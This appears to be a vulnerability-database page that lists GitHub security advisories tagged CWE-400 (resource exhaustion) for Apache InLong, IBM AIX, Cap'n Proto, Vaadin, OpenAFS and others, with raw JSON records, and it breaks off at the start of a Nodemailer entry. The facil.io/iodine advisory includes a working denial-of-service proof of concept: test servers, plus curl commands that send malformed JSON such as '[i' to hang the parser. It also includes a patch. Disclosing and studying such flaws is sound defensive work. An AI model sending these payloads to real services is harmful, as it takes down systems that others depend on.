Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

6431 vulnerabilities reference this CWE, most recent first.

GHSA-2WF7-PQ8Q-VP44

Vulnerability from github – Published: 2026-08-20 18:30 – Updated: 2026-08-20 18:30
VLAI
Details

Uncontrolled Resource Consumption vulnerability in Apache InLong. Non-template responsible persons can view template information.

This issue affects Apache InLong: from 2.0.0 before 2.4.0.

Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it.

[1]

https://github.com/apache/inlong/pull/12093 https://github.com/apache/inlong/pull/11732

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T16:17:28Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in Apache InLong.\u00a0Non-template responsible persons can view template information.\n\nThis issue affects Apache InLong: from 2.0.0 before 2.4.0.\n\n\n\nUsers are advised to upgrade to Apache InLong\u0027s  2.4.0\u00a0or cherry-pick [1] to solve it.\n\n[1] \n\n https://github.com/apache/inlong/pull/12093 https://github.com/apache/inlong/pull/11732",
  "id": "GHSA-2wf7-pq8q-vp44",
  "modified": "2026-08-20T18:30:52Z",
  "published": "2026-08-20T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63015"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/b7bvsg59bo619rywwpd7tj66rkzz62k4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/20/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WGG-QHC4-8436

Vulnerability from github – Published: 2022-03-08 00:00 – Updated: 2022-03-19 00:01
VLAI
Details

IBM AIX 7.1, 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the AIX kernel to cause a denial of service. IBM X-Force ID: 212951.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-07T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM AIX 7.1, 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the AIX kernel to cause a denial of service.  IBM X-Force ID:  212951.",
  "id": "GHSA-2wgg-qhc4-8436",
  "modified": "2022-03-19T00:01:40Z",
  "published": "2022-03-08T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38989"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/212951"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6561277"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WGH-CG2P-67MV

Vulnerability from github – Published: 2022-05-17 01:59 – Updated: 2022-05-17 01:59
VLAI
Details

Sandstorm Cap'n Proto before 0.4.1.1 and 0.5.x before 0.5.1.1 allows remote peers to cause a denial of service (CPU and possibly general resource consumption) via a list with a large number of elements.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-2312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-09T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "Sandstorm Cap\u0027n Proto before 0.4.1.1 and 0.5.x before 0.5.1.1 allows remote peers to cause a denial of service (CPU and possibly general resource consumption) via a list with a large number of elements.",
  "id": "GHSA-2wgh-cg2p-67mv",
  "modified": "2022-05-17T01:59:31Z",
  "published": "2022-05-17T01:59:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2312"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capnproto/capnproto/commit/104870608fde3c698483fdef6b97f093fc15685d"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=780567"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capnproto/capnproto/blob/master/security-advisories/2015-03-02-2-all-cpu-amplification.md"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/03/17/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WGW-4X82-63XQ

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20
VLAI
Details

FORT Validator versions prior to 1.5.2 will crash if an RPKI CA publishes an X.509 EE certificate. This will lead to RTR clients such as BGP routers to lose access to the RPKI VRP data set, effectively disabling Route Origin Validation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-43114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-09T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "FORT Validator versions prior to 1.5.2 will crash if an RPKI CA publishes an X.509 EE certificate. This will lead to RTR clients such as BGP routers to lose access to the RPKI VRP data set, effectively disabling Route Origin Validation.",
  "id": "GHSA-2wgw-4x82-63xq",
  "modified": "2022-05-24T19:20:08Z",
  "published": "2022-05-24T19:20:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43114"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NICMx/FORT-validator/commit/274dc14aed1eb9b3350029d1063578a6b9c77b54"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NICMx/FORT-validator/commit/425e0f4037b4543fe8044ac96ca71d6d02d7d8c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NICMx/FORT-validator/commit/673c679b6bf3f4187cd5242c31a795bf8a6c22b3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NICMx/FORT-validator/commit/eb68ebbaab50f3365aa51bbaa17cb862bf4607fa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NICMx/FORT-validator/releases/tag/1.5.2"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2WQP-JMCC-MC77

Vulnerability from github – Published: 2021-04-19 14:47 – Updated: 2021-04-16 23:13
VLAI
Summary
Regular expression denial of service (ReDoS) in EmailField component in Vaadin 14 and 15-17
Details

Unsafe validation RegEx in EmailField component in com.vaadin:vaadin-text-field-flow versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.

  • https://vaadin.com/security/cve-2021-31405
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.vaadin:vaadin-bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0.6"
            },
            {
              "fixed": "14.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.vaadin:vaadin-bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "17.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-31405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-16T23:13:14Z",
    "nvd_published_at": "2021-04-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unsafe validation RegEx in `EmailField` component in `com.vaadin:vaadin-text-field-flow` versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2021-31405",
  "id": "GHSA-2wqp-jmcc-mc77",
  "modified": "2021-04-16T23:13:14Z",
  "published": "2021-04-19T14:47:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/platform/security/advisories/GHSA-2wqp-jmcc-mc77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/flow-components/pull/442"
    },
    {
      "type": "WEB",
      "url": "https://vaadin.com/security/cve-2021-31405"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular expression denial of service (ReDoS) in EmailField component in Vaadin 14 and 15-17"
}

GHSA-2WXG-6MGC-2CM5

Vulnerability from github – Published: 2025-07-05 09:30 – Updated: 2025-07-05 09:30
VLAI
Details

A vulnerability classified as problematic has been found in vercel hyper up to 3.4.1. This affects the function expand/braceExpand/ignoreMap of the file hyper/bin/rimraf-standalone.js. The manipulation leads to inefficient regular expression complexity. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-05T09:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as problematic has been found in vercel hyper up to 3.4.1. This affects the function expand/braceExpand/ignoreMap of the file hyper/bin/rimraf-standalone.js. The manipulation leads to inefficient regular expression complexity. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-2wxg-6mgc-2cm5",
  "modified": "2025-07-05T09:30:30Z",
  "published": "2025-07-05T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7074"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/hyper/issues/8098"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.314973"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.314973"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.602353"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2X26-CF8J-QVPF

Vulnerability from github – Published: 2022-05-14 01:28 – Updated: 2022-05-14 01:28
VLAI
Details

An issue was discovered in OpenAFS before 1.6.23 and 1.8.x before 1.8.2. Several data types used as RPC input variables were implemented as unbounded array types, limited only by the inherent 32-bit length field to 4 GB. An unauthenticated attacker could send, or claim to send, large input values and consume server resources waiting for those inputs, denying service to other valid connections.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-12T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in OpenAFS before 1.6.23 and 1.8.x before 1.8.2. Several data types used as RPC input variables were implemented as unbounded array types, limited only by the inherent 32-bit length field to 4 GB. An unauthenticated attacker could send, or claim to send, large input values and consume server resources waiting for those inputs, denying service to other valid connections.",
  "id": "GHSA-2x26-cf8j-qvpf",
  "modified": "2022-05-14T01:28:02Z",
  "published": "2022-05-14T01:28:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16949"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4302"
    },
    {
      "type": "WEB",
      "url": "http://openafs.org/pages/security/OPENAFS-SA-2018-003.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106375"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2X79-GWQ3-VXXM

Vulnerability from github – Published: 2026-04-14 23:41 – Updated: 2026-06-08 23:17
VLAI
Summary
Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem
Details

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

  • facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
  • iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
  • iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

  1. Inside an array or object, the parser sees i or I and jumps to the numeral: label.
  2. It calls fio_atol((char **)&tmp).
  3. For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
  4. The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
  5. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
  6. Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

  1. The parser accepts the empty string "" as the first array element.
  2. It does not require a comma before the next token.
  3. The trailing i is then parsed as a new nested value.
  4. The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

  • Array form, minimal: [i
  • Object form: {"a":i
  • After a quoted value in an array: [""i
  • After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

  • facil.io commit: 162df84001d66789efa883eebb0567426d00148e
  • iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
  • standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

  • The server prints calling http_parse_body and never reaches returned from http_parse_body.
  • The request never completes.
  • One worker thread spins until the process is killed.

Downstream impact in iodine

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

  • Availability impact: high for affected parser entry points
  • Confidentiality impact: none observed
  • Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

  • ext/iodine/fio_json_parser.h

Impact

  • facil.io
  • Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
  • Verified on tagged releases 0.7.5 and 0.7.6
  • iodine Ruby gem
  • Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
  • Verified on tag / gem version v0.7.58
  • The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "iodine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.7.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:41:06Z",
    "nvd_published_at": "2026-04-22T02:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON.\n\nThe smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[\"\"i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value.\n\n### Details\nThe vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested).\n\nThis parser is reached from real library entry points, not just the header in isolation:\n\n- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`)\n- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)\n- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`\n\nRelevant flow:\n\n1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label.\n2. It calls `fio_atol((char **)\u0026tmp)`.\n3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`.\n4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true.\n5. `JSON_NUMERAL[\u0027i\u0027] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing.\n6. Because parsing is still nested (`parser-\u003edepth \u003e 0`), the outer loop continues forever with the same `pos`.\n\nThe same logic exists in `iodine`\u0027s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`.\n\nWhy the `[\"\"i` form hangs:\n\n1. The parser accepts the empty string `\"\"` as the first array element.\n2. It does not require a comma before the next token.\n3. The trailing `i` is then parsed as a new nested value.\n4. The zero-progress numeral path above causes the infinite loop.\n\nExamples that trigger the bug:\n\n- Array form, minimal: `[i`\n- Object form: `{\"a\":i`\n- After a quoted value in an array: `[\"\"i`\n- After a quoted value in an object: `{\"a\":\"\"i`\n\n## PoC\nEnvironment used for verification:\n\n- `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e`\n- `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8`\n- standalone compile against `fio_json_parser.h`\n\n### Minimal standalone program\n\nUse the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`.\n\n```c\n#define _POSIX_C_SOURCE 200809L\n\n#include \u003cstdio.h\u003e\n#include \u003ctime.h\u003e\n#include \u003cfio.h\u003e\n#include \u003chttp.h\u003e\n\nstatic void on_request(http_s *h) {\n  fprintf(stderr, \"calling http_parse_body\\n\");\n  fflush(stderr);\n  http_parse_body(h);\n  fprintf(stderr, \"returned from http_parse_body\\n\");\n  http_send_body(h, \"ok\\n\", 3);\n}\n\nint main(void) {\n  if (http_listen(\"3000\", \"127.0.0.1\",\n                  .on_request = on_request,\n                  .max_body_size = (1024 * 1024),\n                  .log = 1) == -1) {\n    perror(\"http_listen\");\n    return 1;\n  }\n  fio_start(.threads = 1, .workers = 1);\n  return 0;\n}\n```\n\n`http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`.\n\nSave it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`:\n\n```bash\ngit checkout 0.7.6\nmkdir -p src\nmake NAME=http_json_poc\n```\n\nRun:\n\n```bash\n./tmp/http_json_poc\n```\n\nThen in another terminal send one of these payloads:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nObserved result on a vulnerable build:\n\n- The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`.\n- The request never completes.\n- One worker thread spins until the process is killed.\n\n### Downstream impact in `iodine`\n\n`iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.\n\nSingle-file `iodine` HTTP server repro:\n\n```ruby\nrequire \"iodine\"\n\nAPP = proc do |env|\n  body = env[\"rack.input\"].read.to_s\n  warn \"calling Iodine::JSON.parse on: #{body.inspect}\"\n  Iodine::JSON.parse(body)\n  warn \"returned from Iodine::JSON.parse\"\n  [200, { \"Content-Type\" =\u003e \"text/plain\", \"Content-Length\" =\u003e \"3\" }, [\"ok\\n\"]]\nend\n\nIodine.listen service: :http,\n              address: \"127.0.0.1\",\n              port: \"3000\",\n              handler: APP\n\nIodine.threads = 1\nIodine.workers = 1\nIodine.start\n```\n\nRun:\n\n```bash\nruby iodine_json_parse_http_poc.rb\n```\n\nThen in a second terminal:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nOn a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads.\n\n## Impact\nThis is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.\n\nI would describe the impact as:\n\n- Availability impact: high for affected parser entry points\n- Confidentiality impact: none observed\n- Integrity impact: none observed\n\n## Suggested Patch\nTreat zero-consumption numeric parses as failures before accepting the token.\n\n```diff\ndiff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h\n@@\n       uint8_t *tmp = pos;\n       long long i = fio_atol((char **)\u0026tmp);\n       if (tmp \u003e limit)\n         goto stop;\n-      if (!tmp || JSON_NUMERAL[*tmp]) {\n+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {\n         tmp = pos;\n         double f = fio_atof((char **)\u0026tmp);\n         if (tmp \u003e limit)\n           goto stop;\n-        if (!tmp || JSON_NUMERAL[*tmp])\n+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])\n           goto error;\n         fio_json_on_float(parser, f);\n         pos = tmp;\n```\n\nThis preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged.\n\nThe same change should be mirrored to `iodine`\u0027s vendored copy:\n\n- `ext/iodine/fio_json_parser.h`\n\n\n## Impact\n- `facil.io`\n  - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`)\n  - Verified on tagged releases `0.7.5` and `0.7.6`\n- `iodine` Ruby gem\n  - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`\n  - Verified on tag / gem version `v0.7.58`\n  - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`",
  "id": "GHSA-2x79-gwq3-vxxm",
  "modified": "2026-06-08T23:17:40Z",
  "published": "2026-04-14T23:41:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41146"
    },
    {
      "type": "WEB",
      "url": "https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/boazsegev/facil.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/iodine/CVE-2026-41146.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem"
}

GHSA-2X7J-588G-CCC2

Vulnerability from github – Published: 2026-09-08 21:33 – Updated: 2026-09-08 21:33
VLAI
Summary
Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list
Details

Summary

